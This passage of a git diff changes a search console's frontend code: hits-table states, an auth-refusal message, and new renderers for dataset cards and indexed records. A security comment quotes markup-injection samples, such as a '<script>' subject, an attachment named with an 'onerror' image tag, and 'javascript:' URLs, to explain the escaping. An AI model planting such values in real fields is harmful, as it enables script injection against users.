(xs) => {*/export const SearchBox = ({value = '',- types = ['match', 'term', 'range', 'prefix', 'phrase', 'knn', 'semantic', 'hybrid'],+ types = ['match', 'term', 'range', 'prefix', 'phrase', 'semantic', 'hybrid'],activeType = 'match',indices = ['*'],activeIndex = '*',@@ -137,6 +138,8 @@ export const QueryPlanTree = (node, depth = 0, last = true) => {* showTime: boolean — whether to render the _ts column (default true)* labels: { _index: 'INDEX', _id: 'ID', _score: 'SCORE', _ts: 'TIME' }* exportable: boolean — render the EXPORT CSV link in the header (default true)+ * pending: boolean — a search is in flight; render "Searching…" only+ * error: string — the search failed; render the error and ZERO rows*/export const Hits = ({hits = [], total = 0, tookMs = 0, maxScore = null,@@ -144,7 +147,21 @@ export const Hits = ({showTime = true,labels = { _index: 'INDEX', _id: 'ID', _score: 'SCORE', _ts: 'TIME' },exportable = true,+ pending = false,+ error = null,} = {}) => {+ // Two states in which there is NO result to describe. Neither renders a+ // count, a latency or a row: a failed search shows its error and nothing+ // else — this table never holds a placeholder or a sample document.+ if (pending) {+ return `<div class="hits-meta"><span class="key">HITS</span></div>+ <div class="mono faint" data-hits-state="pending" style="padding:var(--sp-3) 0;">Searching…</div>`;+ }+ if (error) {+ return `<div class="hits-meta"><span class="key">HITS</span></div>+ <div class="mono" data-hits-state="error" style="padding:var(--sp-3) 0;">Search failed: ${esc(error)}</div>+ <div class="mono faint">No rows are shown in its place.</div>`;+ }const sortIndicator = (field) => {if (sort?.field !== field) return '';return sort.dir === 'asc' ? ' ▲' : ' ▼';@@ -157,7 +174,7 @@ export const Hits = ({<span class="key">HITS</span><span class="mono" style="margin-left:var(--sp-3);"><span class="accent" style="font-size:var(--fs-20); font-weight:700;">${fmt(total)}</span> <span class="faint">documents</span></span><span class="mono" style="margin-left:var(--sp-3);"><span class="accent">${fmt(tookMs)}</span> <span class="faint">ms</span></span>- ${maxScore != null ? `<span class="mono" style="margin-left:var(--sp-3);"><span class="faint">max_score</span> ${maxScore.toFixed(3)}</span>` : ''}+ ${Number.isFinite(Number(maxScore)) && maxScore != null ? `<span class="mono" style="margin-left:var(--sp-3);"><span class="faint">max_score</span> ${Number(maxScore).toFixed(3)}</span>` : ''}<span style="flex:1;"></span>${exportable ? `<button type="button" class="hits-action" data-export-csv title="GH#1992 · 372 reactions">↓ CSV</button>` : ''}<button type="button" class="hits-action" data-toggle-time aria-pressed="${showTime ? 'true' : 'false'}" title="GH#3319 · 44 reactions">${showTime ? 'HIDE TIME' : 'SHOW TIME'}</button>@@ -182,8 +199,8 @@ export const Hits = ({<div class="hit"><div class="hit-head mono ${showTime ? '' : 'no-time'}"><button type="button" class="hit-cell-clickable" data-facet-apply="_index:${esc(h._index)}" title="Filter for this">${esc(h._index)}</button>- <span class="faint">${esc(h._id)}</span>- <span class="accent">${(h._score ?? 0).toFixed(3)}</span>+ <a class="hit-open" href="${esc(readerHref({ index: h._index, id: h._id }))}" title="Open in the Reader">${esc(h._id)}</a>+ <span class="accent">${(Number.isFinite(Number(h._score)) ? Number(h._score) : 0).toFixed(3)}</span>${showTime ? `<span class="faint">${esc(h._ts || '')}</span>` : ''}</div><div class="hit-body mono">${esc(body)}</div>diff --git a/xerj-ux/src/ux/chrome.js b/xerj-ux/src/ux/chrome.jsindex 18f8d346b..1fffeb274 100644--- a/xerj-ux/src/ux/chrome.js+++ b/xerj-ux/src/ux/chrome.js@@ -116,7 +116,7 @@ export const Nav = ({${EditCtrl({ active: edit })}${MobileCtrl({ active: mobile })}${ThemeCtrl({ active: theme })}- ${status ? `<span class="status">${esc(status)}</span>` : ''}+ ${status ? `<span class="status" data-nav-status>${esc(status)}</span>` : ''}</nav>${secondary}`;};diff --git a/xerj-ux/src/ux/corpus-render.js b/xerj-ux/src/ux/corpus-render.jsnew file mode 100644index 000000000..bbbd280af--- /dev/null+++ b/xerj-ux/src/ux/corpus-render.js@@ -0,0 +1,130 @@+// ============================================================+// XERJ Console — Corpus home rendering (pure)+//+// "What is indexed here?" — one card per dataset. Two sources, one look:+//+// operator the autoindex catalog (`autoindex-catalog`, one+// `doc_kind: dataset` document per dataset — data/catalog.js)+// guest the shared index itself (data/reader-api.js#indexSummary): a+// share is never granted the catalog, which lists every corpus+// on the node.+//+// Everything on a card can be document-derived — a sample query is built from+// the corpus's own terms, a field example is a document value, a format or a+// dataset slug comes from a file path — so, like the reader, this returns+// safe-dom nodes and never markup. No DOM, no fetch.+// ============================================================++import { h } from './safe-dom.js';+import { readerHref } from './reader-render.js';+import { topFields, sampleQueryToSearch, fmtBytes, fmtCount, timeSpan } from '../data/catalog.js';++export const EMPTY_COMMAND = 'xerj brain <folder>';++/** The empty-engine state: exactly one command. Never sample data. */+export function renderCorpusEmpty({ guest } = {}) {+ if (guest) return h('div', { class: 'cp-empty' }, 'Nothing is indexed under this share yet.');+ return h('div', { class: 'cp-empty' },+ h('div', { class: 'key' }, 'NOTHING INDEXED YET'),+ h('p', null, 'Point XERJ at a folder — email, PDFs, notes, code — and it becomes typed, searchable datasets with a graph of the links between files. One command:'),+ h('pre', { class: 'cp-cmd mono accent' }, EMPTY_COMMAND),+ h('p', { class: 'faint' }, 'Then reload this page: every dataset it wrote appears here as a card.'));+}++const fact = (k, v) => h('span', { class: 'cp-fact' }, h('span', { class: 'faint' }, k), ' ', v);++function sampleButtons(card) {+ const out = [];+ for (const sq of card.sampleQueries || []) {+ const s = sampleQueryToSearch(sq);+ if (!s) continue;+ out.push(h('button', {+ class: 'cp-sq',+ // Consumed by the shell's click handler as DATA (JSON.parse → search+ // state). It is an attribute value: inert whatever it contains.+ 'data-corpus-query': JSON.stringify({ index: card.index, type: s.type, q: s.q, ...(s.field ? { field: s.field } : {}) }),+ title: sq.title || '',+ }, h('span', { class: 'cp-sq__type mono' }, s.type.toUpperCase()), h('span', { class: 'cp-sq__q' }, s.q)));+ if (out.length >= 6) break;+ }+ return out;+}++/** What the catalog entry describes: the LAST `xerj brain` / `xerj autoindex`+ * run over this dataset. The record count is the index's total at the end of+ * that run; files, bytes, formats and the semantic_text field are that run's+ * own. A second run over another folder into the same index rewrites the+ * entry with ITS files (PR #945 review: "91 records · 4 files" after a+ * 14-file corpus), so those facts are labelled as the last run's. */+const LAST_RUN = 'as of the last xerj brain / autoindex run over this dataset (autoindex-catalog)';++/** One dataset card from a catalog entry (data/catalog.js#parseCatalogHits). */+export function renderCorpusCard(card, { brain, discover = true } = {}) {+ const fields = topFields(card, 8);+ const span = timeSpan(card);+ const samples = sampleButtons(card);+ return h('article', { class: 'cp-card', 'data-corpus-index': card.index },+ h('div', { class: 'cp-card__head' },+ h('div', null, h('div', { class: 'key' }, 'DATASET'), h('h2', { class: 'cp-card__name mono' }, card.index)),+ h('div', { class: 'cp-card__nums mono' },+ h('span', null, h('b', { class: 'accent' }, fmtCount(card.records)), ' records'),+ h('span', { title: LAST_RUN }, h('b', null, fmtCount(card.files)), ' files'),+ h('span', { title: LAST_RUN }, h('b', null, fmtBytes(card.bytes))),+ h('span', { class: 'faint', title: LAST_RUN }, '· last run'))),+ h('div', { class: 'cp-card__facts mono' },+ card.formats.length ? fact('formats · last run', card.formats.join(', ')) : null,+ span ? fact(card.timeField || 'time', span) : null,+ card.semanticField ? fact('semantic_text field', card.semanticField) : h('span', { class: 'cp-fact faint', title: LAST_RUN }, 'no semantic_text field in the last run'),+ card.junk ? fact('skipped as junk', fmtCount(card.junk)) : null),+ fields.length+ ? h('div', { class: 'cp-fields' }, fields.map((f) => h('span', { class: 'cp-field mono', title: f.examples.join(' · ') },+ h('span', { class: 'cp-field__name' }, f.name), h('span', { class: 'cp-field__type' }, f.type))))+ : null,+ h('div', { class: 'cp-actions' },+ h('a', { class: 'text-btn', href: readerHref({ index: card.index, brain }) }, 'OPEN IN READER'),+ discover ? h('a', { class: 'text-btn', href: '#/discover', 'data-corpus-browse': card.index }, 'BROWSE IN DISCOVER') : null),+ samples.length ? h('div', { class: 'cp-samples' }, h('div', { class: 'key' }, 'TRY A QUERY · FROM THIS DATASET\'S OWN CATALOG ENTRY'), samples) : null);+}++/** One card from an index's own counts (guest mode; also the operator+ * fallback for an index the catalog does not describe). */+export function renderSummaryCard(sum, { brain } = {}) {+ if (sum.error) {+ return h('article', { class: 'cp-card', 'data-corpus-index': sum.index },+ h('div', { class: 'key' }, 'DATASET'),+ h('h2', { class: 'cp-card__name mono' }, sum.index),+ h('div', { class: 'cp-empty' }, `Could not read this index: ${sum.error}`),+ h('div', { class: 'cp-card__facts mono faint' }, 'This page asks again each time you open it — come back to CORPUS, or reload the tab.'));+ }+ return h('article', { class: 'cp-card', 'data-corpus-index': sum.index },+ h('div', { class: 'cp-card__head' },+ h('div', null, h('div', { class: 'key' }, 'DATASET'), h('h2', { class: 'cp-card__name mono' }, sum.index)),+ h('div', { class: 'cp-card__nums mono' },+ h('span', null, h('b', { class: 'accent' }, fmtCount(sum.records)), ' records'))),+ h('div', { class: 'cp-card__facts mono' },+ sum.emails ? fact('emails', fmtCount(sum.emails)) : null,+ sum.attachments ? fact('attachment records', fmtCount(sum.attachments)) : null,+ sum.formats.length ? fact('formats', sum.formats.map((f) => `${f.key} ${fmtCount(f.count)}`).join(', ')) : null),+ h('div', { class: 'cp-actions' },+ h('a', { class: 'text-btn', href: readerHref({ index: sum.index, brain }) }, 'OPEN IN READER')));+}++/**+ * The corpus grid.+ * state: { status: 'loading'|'ok'|'error', datasets?, summaries?, error? }+ */+export function renderCorpus(state = {}, { guest = false, brain } = {}) {+ if (state.status === 'loading' || !state.status) return h('div', { class: 'cp-empty' }, 'Reading what is indexed…');+ if (state.status === 'error') {+ return h('div', { class: 'cp-empty' },+ h('div', { class: 'key' }, 'COULD NOT READ THE CATALOG'),+ h('p', null, String(state.error || 'unknown error')),+ h('p', { class: 'faint' }, 'Nothing is shown rather than a sample: this page only ever lists what the engine reports.'));+ }+ const cards = [+ ...(state.datasets || []).map((c) => renderCorpusCard(c, { brain, discover: !guest })),+ ...(state.summaries || []).map((s) => renderSummaryCard(s, { brain })),+ ];+ if (!cards.length) return renderCorpusEmpty({ guest });+ return h('div', { class: 'cp-grid' }, cards);+}diff --git a/xerj-ux/src/ux/ego-ledger.js b/xerj-ux/src/ux/ego-ledger.jsindex 200e45d9c..30ca7a0e7 100644--- a/xerj-ux/src/ux/ego-ledger.js+++ b/xerj-ux/src/ux/ego-ledger.js@@ -935,8 +935,25 @@ const BrainErrorNote = ({ brain, reason }) => `<button type="button" class="text-btn" data-sb-retry>RETRY</button></div>`;+/** A 401/403 from the brain list is a REFUSAL, not an outage: on an+ * auth-enabled engine a console session cannot read `.xerj-memory-*`+ * (issue #936). Say that, and point at the views that do work. */+export const isRefusal = (error) => /HTTP 40[13]\b/.test(String(error || ''));+/** A brand-new brain: the ONE command that fills it, copyable. */export const EmptyBrainNote = ({ brain, connected, error }) => {+ if (!connected && isRefusal(error)) {+ return `+ <div class="sb-empty">+ <div class="sb-ftitle">THE GRAPH API REFUSED THIS CONSOLE SESSION</div>+ <div class="mono faint" style="margin:var(--sp-1) 0;">${esc(String(error).slice(0, 120))}</div>+ <p class="sb-ftext">On an auth-enabled engine the brain views need an engine API key, and a+ passkey session is not one (issue #936). Nothing here is a guess, so nothing is shown.+ What was indexed is on CORPUS, and any record opens in the READER — those go through the+ session and work. On a node started with <span class="mono">--insecure</span> this page works.</p>+ <a class="text-btn" href="#/corpus">OPEN CORPUS</a>+ </div>`;+ }if (!connected) {return `<div class="sb-empty">@@ -1213,7 +1230,7 @@ export function renderPanelBody(id, data) {// Engine down ≠ empty brain: peripheral panels defer to the ledger// panel's ENGINE UNREACHABLE state instead of teaching fill-me copy.const offline = !sb.connected;- const offNote = `<div class="panel-empty mono faint">ENGINE UNREACHABLE · SEE THE LEDGER PANEL</div>`;+ const offNote = `<div class="panel-empty mono faint">${isRefusal(sb.error) ? 'GRAPH API REFUSED THIS SESSION' : 'ENGINE UNREACHABLE'} · SEE THE LEDGER PANEL</div>`;switch (id) {case 'controls':diff --git a/xerj-ux/src/ux/reader-render.js b/xerj-ux/src/ux/reader-render.jsnew file mode 100644index 000000000..688ce4431--- /dev/null+++ b/xerj-ux/src/ux/reader-render.js@@ -0,0 +1,473 @@+// ============================================================+// XERJ Console — Reader rendering (pure)+//+// One record in, a node tree out (ux/safe-dom.js). The reader opens ANY+// record `xerj autoindex` / `xerj brain` wrote and renders it by SHAPE,+// detected from the record's own fields (the autoindex extractors —+// engine/crates/xerj-autoindex/src/extract/ — are the contract):+//+// email email_subject / email_from / email_to / email_cc / email_date /+// email_message_id / email_in_reply_to / body (extract/eml.rs)+// attachment attachment_name / attachment_content_type / attachment_bytes,+// plus the parent's email_* headers and (for PDFs) page + body+// pdf page + body + title (extract/pdf.rs)+// code-symbol name / kind / line / language / path / code (extract/code.rs)+// code-file language / defs / symbols[] (extract/code.rs)+// note title / body / ax_path — markdown, docx, text, html+// file ax_locator = "file" and no body — the one record autoindex+// writes per FILE. It carries no text of its own; it is what+// the file-level graph edges (same_dir, mdlink, pathcite, href)+// point at, so it lists the records that came out of the file.+// generic anything else: the pretty-printed _source+//+// Plus the knowledge graph around it: `GET /_graph/{brain}/ego` edges grouped+// by edge type, each neighbour a link that opens in this same reader.+//+// SECURITY. A record is untrusted input: an .eml can carry `<script>` in its+// subject, an attachment can be NAMED `"><img src=x onerror=…>.pdf`, a body+// can hold `javascript:` URLs, a graph node title is whatever the linked file+// said. Nothing here produces markup. Every function returns safe-dom nodes,+// in which a document string can only ever be a TEXT child or an inert+// attribute value, and the only href is an in-app hash route built by+// `readerHref`. Email HTML is never rendered: the extractor indexes the text+// part, and that text is shown as text. URLs inside a document are shown,+// not linked. No DOM, no fetch: testable under node.+// ============================================================++import { h, highlightChildren, HL_PRE } from './safe-dom.js';++// Vector / passage plumbing the reader never shows (it is huge and meaningless+// to a person); counted, never silently dropped.+const HIDDEN_FIELD = /(_vector|_vector_chunks|_chunks)$|^__xerj_passage_meta__/;++export const SHAPES = ['email', 'attachment', 'pdf', 'code-symbol', 'code-file', 'note', 'file', 'generic'];++/** Which renderer a record gets. Order matters: an attachment record also+ * carries its parent's email headers, so it is tested first. */+export function detectShape(src) {+ const s = src && typeof src === 'object' ? src : {};+ const has = (k) => s[k] != null && s[k] !== '';+ if (has('attachment_name')) return 'attachment';+ if (has('email_subject') || has('email_from') || has('email_message_id')) return 'email';+ if (typeof s.code === 'string' && has('name') && has('language')) return 'code-symbol';+ if (has('language') && (typeof s.defs === 'string' || Array.isArray(s.symbols))) return 'code-file';+ if (has('page') && Number.isFinite(Number(s.page)) && typeof s.body === 'string') return 'pdf';+ if (typeof s.body === 'string' || typeof s.text === 'string') return 'note';+ if (s.ax_locator === 'file' && has('ax_file')) return 'file';+ return 'generic';+}++/** Coerce any `_source` value to display text. Objects/arrays are JSON, so a+ * multi-valued header (`email_to: [a, b]`) reads as a list, not [object]. */+export function str(v) {+ if (v == null) return '';+ if (typeof v === 'string') return v;+ if (typeof v === 'number' || typeof v === 'boolean') return String(v);+ if (Array.isArray(v)) return v.map(str).filter(Boolean).join(', ');+ try { return JSON.stringify(v); } catch { return ''; }+}++/** A one-line title for a record, by shape. Never the raw id unless nothing+ * better exists. */+export function recordTitle(src, id) {+ const s = src && typeof src === 'object' ? src : {};+ switch (detectShape(s)) {+ case 'attachment': return str(s.attachment_name);+ case 'email': return str(s.email_subject) || '(no subject)';+ case 'code-symbol': return `${s.kind ? str(s.kind) + ' ' : ''}${str(s.name)}`;+ case 'code-file': return str(s.title || s.path || s.ax_path || id);+ case 'pdf': return `${str(s.title || s.ax_path) || 'document'} · p${str(s.page)}`;+ case 'note': return str(s.title || s.ax_path || s.path || id);+ case 'file': return str(s.ax_path || s.title || id);+ default: return str(s.title || s.name || id);+ }+}++/** Short, human badge for the result list. */+export function shapeBadge(shape, src) {+ const s = src && typeof src === 'object' ? src : {};+ switch (shape) {+ case 'attachment': return s.page != null ? `PDF · p${str(s.page)}` : (str(s.attachment_content_type) || 'attachment').split('/').pop().toUpperCase();+ case 'email': return 'EMAIL';+ case 'code-symbol': return (str(s.kind) || 'symbol').toUpperCase();+ case 'code-file': return (str(s.language) || 'code').toUpperCase();+ case 'pdf': return `PDF · p${str(s.page)}`;+ case 'note': return (str(s.ax_format) || 'note').toUpperCase();+ case 'file': return `FILE${s.ax_format ? ' · ' + str(s.ax_format).toUpperCase() : ''}`;+ default: return (str(s.ax_format) || 'record').toUpperCase();+ }+}++/** The reader deep link for a record — always an in-app hash route. Values+ * go through URLSearchParams, so an id cannot break out of the query. */+export function readerHref({ index, id, brain } = {}) {+ const qs = new URLSearchParams();+ if (index) qs.set('index', String(index));+ if (id) qs.set('id', String(id));+ if (brain) qs.set('brain', String(brain));+ return `#/reader?${qs.toString()}`;+}++function fromName(v) {+ const s = str(v);+ return s.replace(/\s*<[^>]*>\s*$/, '').trim() || s;+}+function shortDate(v) {+ const s = str(v);+ const m = s.match(/(\d{4}-\d{2}-\d{2})/);+ return m ? m[1] : s.slice(0, 24);+}+function snippet(src) {+ const s = src || {};+ const t = s.body || s.text || s.code || s.defs || s.email_subject || '';+ return str(t).replace(/\s+/g, ' ').slice(0, 180);+}+export function fmtBytes(b) {+ const n = Number(b);+ if (b == null || b === '' || !Number.isFinite(n)) return '';+ if (n < 1024) return `${n} B`;+ if (n < 1048576) return `${(n / 1024).toFixed(1)} KB`;+ return `${(n / 1048576).toFixed(1)} MB`;+}++// ----- result list ---------------------------------------------------++/** Highlight fragments for a hit → nodes, or null when the engine sent none. */+function highlightBlock(hit) {+ const hl = hit && hit.highlight;+ if (!hl || typeof hl !== 'object') return null;+ const frags = [];+ for (const v of Object.values(hl)) {+ for (const f of Array.isArray(v) ? v : [v]) {+ if (typeof f === 'string' && f) frags.push(f);+ if (frags.length >= 2) break;+ }+ if (frags.length >= 2) break;+ }+ if (!frags.length) return null;+ // Our markers when the engine honoured them; otherwise its default+ // `<em>…</em>`, matched literally. Either way the fragment becomes text+ // nodes and <mark> elements — it is never parsed.+ return frags.map((f) => h('span', { class: 'rd-card__frag' },+ highlightChildren(f.replace(/\s+/g, ' '), { tags: f.includes(HL_PRE) ? 'markers' : 'em' })));+}++/** One clickable result card. `selectedId` marks the open record. */+export function renderResultCard(hit, { selectedId, brain } = {}) {+ const s = (hit && hit._source && typeof hit._source === 'object') ? hit._source : {};+ const shape = detectShape(s);+ const score = Number(hit._score);+ const meta = shape === 'email' || shape === 'attachment'+ ? `${fromName(s.email_from)}${s.email_date ? ' · ' + shortDate(s.email_date) : ''}`+ : str(s.ax_path || s.path || hit._index);+ return h('a', {+ class: `rd-card${hit._id === selectedId ? ' sel' : ''}`,+ href: readerHref({ index: hit._index, id: hit._id, brain }),+ 'data-reader-open': str(hit._id),+ 'data-reader-index': str(hit._index),+ },+ h('div', { class: 'rd-card__top' },+ h('span', { class: `rd-badge rd-badge--${shape}` }, shapeBadge(shape, s)),+ h('span', { class: 'rd-card__title' }, recordTitle(s, hit._id)),+ Number.isFinite(score) && hit._score != null ? h('span', { class: 'rd-card__score' }, score.toFixed(2)) : null),+ h('div', { class: 'rd-card__meta' }, meta),+ h('div', { class: 'rd-card__snip' }, highlightBlock(hit) || snippet(s)));+}++/** The whole list, or an honest empty state. */+export function renderResultList(hits, { selectedId, brain, emptyText } = {}) {+ if (!hits || !hits.length) return h('div', { class: 'rd-empty' }, emptyText || 'No records. Search above, or open one from Discover.');+ return h('div', { class: 'rd-list' }, hits.map((x) => renderResultCard(x, { selectedId, brain })));+}++// ----- the record ----------------------------------------------------++const hdr = (k, v) => {+ const t = str(v);+ return t === '' ? null : h('div', { class: 'rd-hdr' }, h('span', { class: 'rd-k' }, k), h('span', { class: 'rd-v' }, t));+};++function relatedLink(rec, brain, name, meta) {+ return h('a', {+ class: 'rd-att',+ href: readerHref({ index: rec._index, id: rec._id, brain }),+ 'data-reader-open': str(rec._id),+ 'data-reader-index': str(rec._index),+ }, h('span', { class: 'rd-att__name' }, name), h('span', { class: 'rd-att__meta' }, meta));+}++function attachmentsBlock(related, brain) {+ const attachments = related.attachments;+ if (attachments === undefined) return h('div', { class: 'rd-sub faint' }, 'attachments: looking…');+ // A join that FAILED is not "no attachments".+ if (related.attachmentsError) {+ return h('div', { class: 'rd-sub faint', 'data-rd-block': 'attachments-error' }, `This email's attachments could not be read (${str(related.attachmentsError)}).`);+ }+ if (!attachments || !attachments.length) return null;+ const cut = related.attachmentsTruncated && typeof related.attachmentsTruncated === 'object' ? related.attachmentsTruncated : null;+ return h('div', { class: 'rd-sub', 'data-rd-block': 'attachments' },+ h('div', { class: 'key' }, `ATTACHMENTS · ${attachments.length}${cut ? '+' : ''}`),+ attachments.map((a) => {+ const s = a._source || {};+ const bits = [str(s.attachment_content_type), fmtBytes(s.attachment_bytes), s.page != null ? `page ${str(s.page)}` : '']+ .filter(Boolean).join(' · ');+ return relatedLink(a, brain, str(s.attachment_name) || str(a._id), bits);+ }),+ cut ? h('div', { class: 'rd-honest mono faint', 'data-rd-block': 'attachments-truncated' },+ `This list may be incomplete: this email has ${str(cut.total)} attachment records and the first ${str(cut.read)} were read, so an attachment past them is not listed. Open the file record below for the file's records.`) : null);+}++/** The records that came out of one file (the `file` shape), or — on any+ * other record — a link up to its file. */+function siblingsBlock(siblings, brain, truncated, total) {+ if (siblings === undefined) return h('div', { class: 'rd-sub faint' }, 'records in this file: looking…');+ if (!siblings || !siblings.length) return h('div', { class: 'rd-sub faint' }, 'No other record came out of this file.');+ return h('div', { class: 'rd-sub', 'data-rd-block': 'siblings' },+ h('div', { class: 'key' }, truncated && Number(total) > siblings.length+ ? `RECORDS IN THIS FILE · ${siblings.length} OF ${str(total)} SHOWN`+ : `RECORDS IN THIS FILE · ${siblings.length}${truncated ? '+' : ''}`),+ siblings.map((r) => {+ const rs = r._source || {};+ return relatedLink(r, brain, recordTitle(rs, r._id), shapeBadge(detectShape(rs), rs));+ }));+}++function fileBlock(fileRecord, brain) {+ if (!fileRecord) return null;+ const fs = fileRecord._source || {};+ return h('div', { class: 'rd-sub', 'data-rd-block': 'file' },+ h('div', { class: 'key' }, 'FROM FILE'),+ relatedLink(fileRecord, brain, str(fs.ax_path || fs.title) || str(fileRecord._id), 'every record from this file'));+}++function parentBlock(parent, brain) {+ if (!parent) return null;+ const s = parent._source || {};+ return h('div', { class: 'rd-sub', 'data-rd-block': 'parent' },+ h('div', { class: 'key' }, 'FROM EMAIL'),+ relatedLink(parent, brain, str(s.email_subject) || '(no subject)',+ `${fromName(s.email_from)}${s.email_date ? ' · ' + shortDate(s.email_date) : ''}`));+}++/** Body text. Always a text node inside a pre-wrapped block — an HTML email+ * that reached the index as text is displayed as its source, never run. */+function prose(text, fallback) {+ const t = str(text);+ return h('div', { class: t ? 'rd-body' : 'rd-body faint' }, t || fallback || '(empty)');+}++function genericSource(src) {+ const shown = {};+ const hidden = [];+ for (const [k, v] of Object.entries(src || {})) {+ if (HIDDEN_FIELD.test(k)) hidden.push(k); else shown[k] = v;+ }+ let json = '';+ try { json = JSON.stringify(shown, null, 2); } catch { json = '(unprintable record)'; }+ return [+ h('pre', { class: 'rd-json mono' }, json),+ hidden.length+ ? h('div', { class: 'rd-sub faint mono' }, `${hidden.length} vector/passage field${hidden.length === 1 ? '' : 's'} not shown: ${hidden.join(', ')}`)+ : null,+ ];+}++/**+ * Render the open record. `ctx.related` carries the fetched attachments /+ * parent email (`attachments: undefined` = still loading, [] = none).+ */+export function renderRecord(hit, ctx = {}) {+ if (!hit) return h('div', { class: 'rd-empty' }, ctx.emptyText || 'Open a record from the list, from Discover, or from a graph node.');+ const s = (hit._source && typeof hit._source === 'object') ? hit._source : {};+ const shape = detectShape(s);+ const brain = ctx.brain;+ const related = ctx.related || {};+ const prov = h('div', { class: 'rd-prov mono faint' },+ `${str(hit._index)} · id ${str(hit._id)}${s.ax_path ? ' · ' + str(s.ax_path) : ''}`);+ const frame = (eyebrow, title, mono, ...rest) => h('div', { class: 'rd-read', 'data-shape': shape },+ h('div', { class: 'rd-eyebrow' }, eyebrow),+ h('h2', { class: mono ? 'rd-title mono' : 'rd-title' }, title),+ rest, shape === 'file' ? null : fileBlock(related.fileRecord, brain), prov);++ switch (shape) {+ case 'email':+ return frame('EMAIL', str(s.email_subject) || '(no subject)', false,+ h('div', { class: 'rd-hdrs' },+ hdr('From', s.email_from), hdr('To', s.email_to), hdr('Cc', s.email_cc), hdr('Date', s.email_date),+ hdr('Message-ID', s.email_message_id), hdr('In-Reply-To', s.email_in_reply_to)),+ prose(s.body, '(no body text)'),+ attachmentsBlock(related, brain));+ case 'attachment':+ return frame(s.page != null ? `PDF ATTACHMENT · PAGE ${str(s.page)}` : 'ATTACHMENT', str(s.attachment_name), false,+ h('div', { class: 'rd-hdrs' },+ hdr('Type', s.attachment_content_type), hdr('Size', fmtBytes(s.attachment_bytes)),+ hdr('Sender', fromName(s.email_from)), hdr('Sent', s.email_date)),+ typeof s.body === 'string' && s.body+ ? prose(s.body)+ : h('div', { class: 'rd-body faint' }, `No text was extracted from this attachment (${str(s.attachment_content_type) || 'binary'}).`),+ parentBlock(related.parent, brain));+ case 'pdf':+ return frame(`PDF · PAGE ${str(s.page)}`, str(s.title || s.ax_path) || 'document', false,+ prose(s.body, '(no extracted text on this page)'));+ case 'code-symbol':+ return frame(`${(str(s.language) || 'code').toUpperCase()} · ${(str(s.kind) || 'symbol').toUpperCase()}`, str(s.name), true,+ h('div', { class: 'rd-hdrs' }, hdr('File', s.path || s.ax_path), hdr('Line', s.line)),+ h('pre', { class: 'rd-code mono' }, str(s.code)));+ case 'code-file': {+ const defs = typeof s.defs === 'string'+ ? s.defs.split('\n').filter(Boolean)+ : (Array.isArray(s.symbols)+ ? s.symbols.map((y) => `${str(y && y.kind)} ${str(y && y.name)}${y && y.line != null ? ' · L' + str(y.line) : ''}`.trim())+ : []);+ return frame(`${(str(s.language) || 'code').toUpperCase()} · FILE`, str(s.title || s.path || s.ax_path || hit._id), true,+ h('div', { class: 'rd-hdrs' }, hdr('Path', s.path || s.ax_path), hdr('Declarations', defs.length)),+ defs.length ? h('ul', { class: 'rd-defs mono' }, defs.map((d) => h('li', null, d))) : null,+ typeof s.body === 'string' ? h('pre', { class: 'rd-code mono' }, s.body) : null);+ }+ case 'note':+ return frame((str(s.ax_format) || 'NOTE').toUpperCase(), str(s.title || s.ax_path || s.path || hit._id), false,+ prose(s.body != null ? s.body : s.text, '(empty)'));+ case 'file':+ return frame(shapeBadge('file', s), str(s.ax_path || s.title || hit._id), true,+ h('div', { class: 'rd-hdrs' }, hdr('Path', s.ax_path), hdr('Format', s.ax_format), hdr('Dataset', s.ax_dataset)),+ h('div', { class: 'rd-body faint' }, 'This is the record for the file itself — what the brain\'s file-level links point at. Its text lives in the records below.'),+ siblingsBlock(related.siblings, brain, related.siblingsTruncated, related.siblingsTotal));+ default:+ return frame('RECORD', recordTitle(s, hit._id), false, genericSource(s));+ }+}++// ----- the graph around it --------------------------------------------++/** Human labels for the edge types autoindex's detectors emit — one per+ * `EDGE_TYPE` constant in engine/crates/xerj-autoindex/src/detect/*.rs. Any+ * other type (a hand-written `/_graph/{brain}/link`) shows its raw name. */+export const EDGE_LABELS = {+ wikilink: 'wiki-links',+ mdlink: 'markdown links',+ href: 'hyperlinks',+ pathcite: 'cites the path of',+ cratecite: 'cites the crate of',+ sequence: 'next / previous section',+ same_dir: 'same folder',+ shared_term: 'shares rare terms with',+};++export function edgeLabel(type) {+ const t = str(type);+ return Object.prototype.hasOwnProperty.call(EDGE_LABELS, t) ? EDGE_LABELS[t] : (t || 'linked').replace(/_/g, ' ');+}++/**+ * An ego response → neighbours grouped by edge type (groups in first-seen+ * order, neighbours by title). Each+ * item is the OTHER endpoint of an edge touching `focusId`, hydrated from+ * `ego.nodes` when the call asked for `include_nodes`.+ */+export function groupNeighbors(ego, focusId) {+ const groups = new Map();+ const nodes = (ego && ego.nodes && typeof ego.nodes === 'object') ? ego.nodes : {};+ const seen = new Set();+ for (const e of (ego && Array.isArray(ego.edges)) ? ego.edges : []) {+ if (!e || (e.src !== focusId && e.dst !== focusId)) continue;+ const out = e.src === focusId;+ const other = out ? e.dst : e.src;+ if (typeof other !== 'string' || !other || other === focusId) continue;+ const type = str(e.type) || 'linked';+ const key = `${type}\n${other}`;+ if (seen.has(key)) continue;+ seen.add(key);+ const n = Object.prototype.hasOwnProperty.call(nodes, other) && nodes[other] ? nodes[other] : null;+ const item = {+ id: other,+ index: n && typeof n.index === 'string' ? n.index : null,+ title: (n && typeof n.title === 'string' && n.title) || (n && typeof n.path === 'string' && n.path) || other,+ path: n && typeof n.path === 'string' ? n.path : null,+ preview: n && typeof n.preview === 'string' ? n.preview : null,+ direction: out ? 'out' : 'in',+ hop: e.hop ?? 1,+ edgeId: e.edge_id,+ weight: e.weight,+ hydrated: !!n,+ };+ if (!groups.has(type)) groups.set(type, { type, label: edgeLabel(type), items: [] });+ groups.get(type).items.push(item);+ }+ // The engine returns edges in no fixed order (two live runs over the same+ // corpus listed the same two neighbours both ways round). Sort, so a record's+ // panel reads the same every time it is opened.+ const out = [...groups.values()];+ for (const g of out) g.items.sort((a, b) => String(a.title).localeCompare(String(b.title)) || String(a.id).localeCompare(String(b.id)));+ return out;+}++/**+ * The graph panel. `g` is the reader's graph state:+ * { status: 'idle'|'loading'|'ok'|'no-brain'|'no-links'|'denied'|'error',+ * brain, groups, notShown, error, index, dangling }+ */+export function renderGraphPanel(g = {}) {+ const brain = str(g.brain);+ const mono = (t) => h('span', { class: 'mono' }, t);+ // Every brain that lists this record's index was consulted (reader-api.js+ // #fetchGraph); the panel names all of them, so "no links" can be read as+ // "no links in any of these" and never hides a brain that was not asked.+ const brains = 